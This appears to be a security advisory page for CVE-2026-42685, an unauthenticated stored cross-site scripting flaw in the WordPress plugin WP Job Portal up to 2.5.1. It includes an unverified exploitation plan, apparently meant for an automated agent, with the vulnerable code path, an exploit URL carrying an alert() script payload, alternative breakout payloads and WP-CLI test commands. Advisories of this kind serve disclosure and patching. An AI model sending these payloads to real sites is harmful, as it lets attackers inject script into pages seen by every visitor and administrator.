CVE-2026-42685

WP Job Portal – AI-Powered Recruitment System for Company or Job Board website <= 2.5.1 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
2.5.2
Patched in
4d
Time to patch

Description

The WP Job Portal – AI-Powered Recruitment System for Company or Job Board website plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.5.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.5.1
PublishedMay 23, 2026
Last updatedMay 26, 2026
Affected pluginwp-job-portal

What Changed in the Fix

Changes introduced in v2.5.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-42685 (WP Job Portal) ## 1. Vulnerability Summary The **WP Job Portal** plugin (<= 2.5.1) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the `WPJOBPORTALjobModel::setListStyleSession` function located in `mo…

Show full research plan

Exploitation Research Plan: CVE-2026-42685 (WP Job Portal)

1. Vulnerability Summary

The WP Job Portal plugin (<= 2.5.1) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists in the WPJOBPORTALjobModel::setListStyleSession function located in modules/job/model.php.

This function is intended to save a user's preference for the job listing layout (e.g., "grid" vs "list"). However, it uses the global WordPress update_option() function instead of a session-based or user-meta storage. This allows any unauthenticated user to overwrite a site-wide configuration option. Furthermore, the input parameter styleid is retrieved via WPJOBPORTALrequest::getVar() and passed to update_option() without any sanitization or escaping, and the resulting value is rendered unescaped on the job listing page.

2. Attack Vector Analysis

  • Endpoint: Frontend routing (typically handled via init or template_redirect hooks).
  • Hook/Action: The plugin routes requests based on the URL parameters wpjobportalme (Module) and wpjobportallt (Layout/Task).
  • Vulnerable Parameters:
    • wpjobportalme: Must be set to job.
    • wpjobportallt: Must be set to setListStyleSession.
    • styleid: The malicious XSS payload.
  • Authentication: None required (Unauthenticated).
  • Preconditions: The [wpjobportal_job] shortcode must be present on a page (this is where the sink is triggered).

3. Code Flow

  1. Entry Point: A request is made to index.php?wpjobportalme=job&wpjobportallt=setListStyleSession&styleid=<payload>.
  2. Routing: The plugin's core dispatcher identifies the module job and the task setListStyleSession.
  3. Sink (Storage): modules/job/model.php -> WPJOBPORTALjobModel::setListStyleSession():
    function setListStyleSession(){
        $wpjobportal_listingstyle = WPJOBPORTALrequest::getVar('styleid'); // [1] User input
        if(wpjobportal::$wpjobportal_theme_chk == 1){
            update_option( 'jsjb_jm_listing_style', $wpjobportal_listingstyle ); // [2] Global storage
        } else {
            update_option( 'jsjb_jh_listing_style', $wpjobportal_listingstyle ); // [2] Global storage
        }
        return $wpjobportal_listingstyle;
    }
    
  4. Sink (Execution): When any user visits a page containing the [wpjobportal_job] shortcode, the plugin retrieves the option jsjb_jh_listing_style (or jsjb_jm_listing_style) and echoes it into the HTML class attribute of the job container without escaping, allowing for attribute breakout and script execution.

4. Nonce Acquisition Strategy

Based on the analysis of modules/job/model.php, the setListStyleSession function does not implement any nonce verification. This is a common oversight for frontend layout-switching features.

  • Nonce Action: N/A.
  • Bypass: Direct request to the endpoint is possible without a nonce.

5. Exploitation Strategy

The goal is to inject a payload into the global jsjb_jh_listing_style option, which will then execute in the browser of any user (including the admin) visiting the job board.

Step 1: Inject Payload

Send a request to the site to update the global option.

  • Tool: http_request
  • Method: GET (or POST)
  • URL: http://TARGET_URL/index.php?wpjobportalme=job&wpjobportallt=setListStyleSession&styleid=list-view"><script>alert(document.domain)</script>
  • Note: The payload starts with list-view"> to break out of the HTML class attribute where it is typically reflected.

Step 2: Trigger Execution

Navigate to the page where the jobs are listed.

  • Tool: browser_navigate
  • URL: http://TARGET_URL/jobs/ (or wherever [wpjobportal_job] is placed).

6. Test Data Setup

  1. Create Job Page:
    wp post create --post_type=page --post_title="Job Board" --post_content="[wpjobportal_job]" --post_status="publish"
    
  2. Ensure Option Path: By default, the plugin will update jsjb_jh_listing_style. Verify the theme check:
    wp option get template
    # If result is not 'job-portal-theme', the sink will be 'jsjb_jh_listing_style'
    
  3. Create a Job: (Optional, but ensures the job listing loop executes)
    # Use the plugin's internal table to insert a dummy job if the shortcode returns empty
    wp db query "INSERT INTO wp_wj_portal_jobs (title, status, startpublishing, stoppublishing) VALUES ('Security Researcher', 1, '2020-01-01', '2030-01-01')"
    

7. Expected Results

  • The HTTP request to setListStyleSession should return a 200 OK or a redirect.
  • The site-wide option jsjb_jh_listing_style will now contain the malicious script.
  • When visiting the "Job Board" page, the browser will render the following (or similar) HTML:
    <div class="job-listing-container list-view"><script>alert(document.domain)</script>"> ... </div>
  • An alert box showing the document domain will appear.

8. Verification Steps

After performing the exploit via http_request, verify the storage using WP-CLI:

wp option get jsjb_jh_listing_style
# Expected output: list-view"><script>alert(document.domain)</script>

9. Alternative Approaches

If the styleid is reflected inside a JavaScript block or a different HTML attribute, adjust the payload:

  • Attribute Escape: list' onmouseover='alert(1)' data-foo='
  • JSON Breakout: "];alert(1);// (if localized via wp_localize_script)

If the direct index.php request fails to route, attempt via the AJAX endpoint:

  • URL: /wp-admin/admin-ajax.php
  • Method: POST
  • Body: action=wpjobportal_ajax&wpjobportalme=job&wpjobportallt=setListStyleSession&styleid=... (The action name may vary based on the plugin's registration in wp-job-portal.php).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.